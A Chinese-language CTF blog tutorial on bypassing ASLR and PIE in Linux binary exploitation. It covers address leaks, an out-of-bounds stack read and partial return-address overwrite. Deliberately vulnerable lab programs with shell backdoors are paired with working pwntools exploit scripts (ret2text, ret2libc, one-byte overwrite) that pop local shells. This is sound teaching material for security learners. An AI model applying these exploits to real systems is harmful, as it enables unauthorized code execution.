2778 字
14 分钟
Stack-3-1 Defence-PIE & ASLR

%%本节前置:Stack-1 Stack-2%%

在上一节Stack-2中,我们学习了返回导向编程ROP的四种定式,ret2text,ret2libc,ret2shellcode以及ret2syscall。至此我们接触的所有题目大部分都不涉及任何的保护措施,或者说在某些特定情况下我们没有特意去关注这项保护,譬如在标准的ROP利用中,我们不会去关注栈不可执行NX保护,因为我们所有的ROP都是通过代码复用实现的。而在本节,我们将学习在Linux用户态pwn最常见的五种程序保护和绕过方式。本节我们介绍ASLR以及PIE

🛡️ Defence#

❔ASLR#

计算机科学中,地址空间配置随机加载(英语:Address space layout randomization,缩写ASLR,又称地址空间配置随机化地址空间布局随机化)是一种防范内存损坏漏洞被利用的计算机安全技术。ASLR通过随机放置进程关键数据区域的地址空间来防止攻击者能可靠地跳转到内存的特定位置来利用函数。现代操作系统一般都加设这一机制,以防范恶意程序对已知地址进行Return-to-libc攻击

ASLRAddress space layout randomization在2005年就已经在2.6.12版本加入Linux内核中。内存地址的随机化意味着攻击者在利用的过程中所遇到的一些用户函数的地址变得随机化而不可知,也意味着简单的缓冲区溢出利用不能直接达成预期效果。

我们可以通过以下命令查看当前环境ASLR的配置

cat /proc/sys/kernel/randomize_va_space
2

ALSR的配置选项如下

  • 0 :表示关闭ASLR
  • 1 :表示开启半随机化。libc,stack,mmap,以及VDSO会被随机化
  • 2 :表示开启全随机化,在1的基础上对heap的地址进行随机化

通过更改ASLR的枚举值,我们可以控制ASLR的启用状态。但是一般来说,在利用的过程中ALSR是一直开启的。所以我们的ret2libc的利用需要先泄露libc_base,因为libc是被ALSR随机化的,我们不可能直接返回到那里。

🥧PIE#

PIEposition-independent executable,即可执行文件地址无关化,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。

也就是说,PIE是对ALSR的补充。在PIE开启的情况下,和ASLR的情况类似,其受保护的段程序地址的低12位页内偏移是固定的。

对用户态常见的保护措施,我们可以通过checksec工具进行查看

$ checksec --file=filename

你也可以在gdb中使用checksec

$ gdb filename
pwndbg> checksec

⚠️ Attention#

ASLR是操作系统的功能选项,当elf装入内存开始运行时作用,所以只能随机化运行时装载的虚拟内存基地址。而PIE是编译器的功能选项,作用于elf文件的编译过程。随机化的通用绕过技巧Bypass就是泄露已装载的地址Leak

🗡️ Bypass#

关于地址随机化的绕过,普遍有两种方式:

  • 通过格式化字符串或者其他任意地址或特定地址读的漏洞去泄露程序中某个特定函数或全局变量的地址,然后通过计算得出函数的基地址,就可以通过偏移量去寻址了。
函数or全局变量的地址 = 程序基地址 + 偏移量
  • 部分覆写劫持Partial Overwrite,程序每次运行时,低十二位是固定的,所以可以通过控制低十二位的值来部分控制程序执行流,在ASLR上可以是对libc的地址进行部分覆写劫持,在PIE上可以是对base的地址进行部分覆写劫持

💦 Leak#

泄露可以通过多种方式,这里展示一种人为构造的任意读取漏洞Arbitrary Address Read。我们先通过Lab-s-3-1-1来学习Leak bypass的原理

Lab#

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

long int key = 0xdeadbeef;

void gift() {
	printf("%p\n", &key);
}

void vuln() {
	char buf[0x10];
	read(0, buf, 0x100);
}

void backdoor() {
	system("/bin/sh");
}

int main() {
	gift();
	vuln();
	return 0;
}

通过以下命令编译

gcc -fno-stack-protector Lab-s-3-1-1.c -o Lab-s-3-1-1

保护如下

File:     /home/K4per/Public/CTF/Lab/Stack/Lab-s-3-1-1  
Arch:     amd64  
RELRO:      Partial RELRO  
Stack:      No canary found  
NX:         NX enabled  
PIE:        PIE enabled  
Stripped:   No

可以看到我们的PIE保护开启的,这个时候我们去用ROPgadget看一下程序状态。

$ ROPgadget --binary Lab-s-3-1-1 --only "pop|ret"  
Gadgets information  
============================================================  
0x0000000000001134 : pop rbp ; ret  
0x000000000000101a : ret  
0x0000000000001042 : ret 0x2f  
0x0000000000001166 : ret 0x8d48  
  
Unique gadgets found: 4

此时我们的左边不再显示地址,而是显示该gadget在程序中的偏移量,我们还可以在IDA中观察以下开启PIE时程序的状态。

可以看到仍然是显示的偏移量。现在我们来做一下这个实验。

首先程序在这里泄露了全局变量key的真实地址。

printf("%p\n", &key);

那么我们可以通过IDA获取程序中key的偏移量,通过key_addr - key_offset就可以得到程序的基地址,然后通过基地址base_addr + backdoor_offset去计算出backdoor_address,然后正常ret2text即可。

我们可以给出以下EXP

from pwn import *
io = process('./Lab-s-3-1-1')

# 首先接一下地址
key_offset = 0x4028
key_addr = eval(io.recvuntil(b'\n', drop=True))
base_addr = key_addr - key_offset
log.success("base addr:" + hex(base_addr))
# ret2text
backdoor_offset = 0x119F
backdoor_addr = base_addr + backdoor_offset
ret_offset = 0x101A
ret_addr = base_addr + ret_offset
# 注意栈对齐
payload = cyclic(0x18) + p64(ret_addr) + p64(backdoor_addr)
io.send(payload)
io.interactive()

RESULT

[+] Starting local process './Lab-s-3-1-1': pid 42484
[+] base addr:0x64e913058000
[*] Switching to interactive mode
$ whoami
K4per

可以看到,我们全程利用泄露的key地址算出的基地址进行PIE的绕过,但大多数情况下,我们一开始是没有相关信息的。这个时候我们就要想办法泄露出key了。我们用一道例题来学习这种情况。

Challenge#

leakpie

拿到题目我们先查保护

 checksec --file=leakpie         
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE  
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   35 Symbols        No    0               1               leak  
pie

存在PIE,需要泄露来绕过;没有canary,意味着我们可以直接栈溢出。

然后是逆向环节,分析程序流程

程序很简单,我们进入vuln函数。

__int64 vuln()
{
  puts("Welcome to Turiral CTF!");
  puts("Let's find something interesting");
  keepgoing();
  return gift();
}

两个函数,分别跟进

ssize_t keepgoing()
{
  int v1[45]; // [rsp+Ch] [rbp-B4h] BYREF

  __isoc23_scanf(&unk_2008, v1);
  return write(1, &v1[2 * v1[0] + 1], 8uLL);
}
ssize_t gift()
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  return read(0, buf, 0x100uLL);
}

显然在gift存在溢出,但是要控制程序执行流我们得先泄露出程序的基地址。

关键在于keepgoing,我们着重分析以下这个函数。实际上这个函数的伪代码有点问题,首先这里以格式化字符串%d读入了v1[0],然后又以v1[0]为index去读取v1数组的数据,我们这里可以把v1分开来看,美化一下这个函数

void keepgoing() {
	char * v1[0x16];
	int index;
	scanf("%d", &index);
	write(1, &v1[index], 8);
}

👀眼尖的师傅肯定一眼就发现了,这里没有对index做边界检查,那么我们的index可以随意设置。并且v1是一个栈上的指针数组,那么我们就可以泄露栈上的敏感信息。这是数组越界Out of Array Bound,进而实现栈上的数据任意读取。那么在栈上什么信息最重要呢?我们最需要什么信息呢?无疑是返回地址,因为返回地址是PIE的影响范围,我们泄露出返回地址就是泄露了vuln函数的地址,那么我们就可以算出函数的基地址了。

如何泄露呢?我们知道v1的数组边界是0x16,那么v1[0x16]就应该位于rbp的上面,那么我们就需要从0x17开始越界。调试可知0x1723就是正确的index。

⚠️ 调试是pwner的基础,一定要勤于调试不要偷懒!

这题没有后门,应该想到进行ret2libc,我们找一下gadget

 ROPgadget --binary leakpie --only "pop|ret"       
Gadgets information  
============================================================  
0x0000000000001154 : pop rbp ; ret  
0x000000000000122f : pop rdi ; ret  
0x0000000000001231 : pop rsi ; ret  
0x000000000000101a : ret  
0x0000000000001042 : ret 0x2f  
  
Unique gadgets found: 5

可控rdirsi。那么我们先puts(put@got)system('/bin/sh\x00')即可,很经典的ret2libc利用。

from pwn import *

  
io = process('./leakpie')
context.log_level = 'debug'
elf = ELF('./leakpie')
libc = ELF('/usr/lib/libc.so.6')
  

pop_rdi_off = 0x122f
puts_got_off = elf.got['puts']
puts_plt_off = elf.plt['puts']
gift_off = 0x1233
pie_off = 0x127B

  
#leak base
io.sendlineafter(b"Let's find something interesting\n", b'23')
vuln_addr = u64(io.recv(6).ljust(8, b'\x00'))
base = vuln_addr - pie_off
log.info(f"base: {hex(base)}")

  

#leak libc
pop_rdi = base + pop_rdi_off
puts_got = base + puts_got_off
puts_plt = base + puts_plt_off
gift = base + gift_off

  

payleak = cyclic(0x18) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(gift)
io.send(payleak)
puts_addr = u64(io.recv(6).ljust(8, b"\x00"))
libc_base = puts_addr - libc.symbols['puts']
log.info(f"libc_base: {hex(libc_base)}")
  

#get shell
system_off = libc.symbols['system']
binsh_off = next(libc.search(b"/bin/sh"))
system_addr = libc_base + system_off
binsh_addr = libc_base + binsh_off
pay_shell = cyclic(0x18) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
io.send(pay_shell)

io.interactive()

🌟Partial Overwrite#

我们知道,程序在开启PIE之后,高位的地址是随机化的,但是低位的地址是固定的。也就是说,在存在栈溢出漏洞并且能控制到返回地址的情况下,我们可以控制程序的部分执行流,也就是我们在低位的0x000~0xFFF是完全可控的。在很多情况下我们都可以利用这个技巧去绕过地址随机化的保护。这一次我们重点学习栈上的Partial Overwrite

栈上部分覆写Partial Overwrite的利用大概可以分为两种情况:

  • 绕过ASLR时的Partial Overwrite:可以控制程序执行流到部分libc中
  • 绕过PIE时的Partial Overwrite:可以控制程序执行流到任意的部分text程序段

我们用调试来举个例子

  • 第一处标注位置是当前函数的返回地址,如果我们能修改到这里的低位,就可以控制程序执行流在一个区间内的任意位置

相当于0x200-0x2FF都是可控的

  • 第二处标注是mian函数的返回地址,我们修改此处可以返回到libc中的部分可控段

❕2025 ACTF的一道only_read的一种做法就是考查了对ASLR的partial overwrite

我们用一个实验来大致了解一下Partial Overwrite的实际使用

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void backdoor() {
	system("/bin/sh");
}

int main() {
	char buf[0x10];
	read(0, buf, 0x20);
	return 0;
}

用以下命令编译

gcc --fno-stack-protector -O0 Lab-s-3-1-1-2.c -o Lab

我们要关注的就是PIE保护,我们直接反编译看一下程序text段的情况

执行到read时位于off=0x1178处,我们看看后门在哪儿

位于0x1149处,那么我们把返回地址的7D改为49,就可以返回到后门了

from pwn import *  
  
io = process("./Lab")  
payload = cyclic(0x18) + b'\x4a'  
io.send(payload)  
io.interactive()

⚠️这里改为0x4a是为了栈对齐

 python exp2.py  
[+] Starting local process './Lab': pid 120327  
[*] Switching to interactive mode  
$ whoami  
K4per

本次不留作业,感兴趣的师傅可以去看看only_read那道题。

Stack-3-1 Defence-PIE & ASLR
https://k4per-blog.xyz/posts/stack-3-1-defence-pie--aslr/
作者
K4per
发布于
2025-05-21
许可协议
CC BY-NC-SA 4.0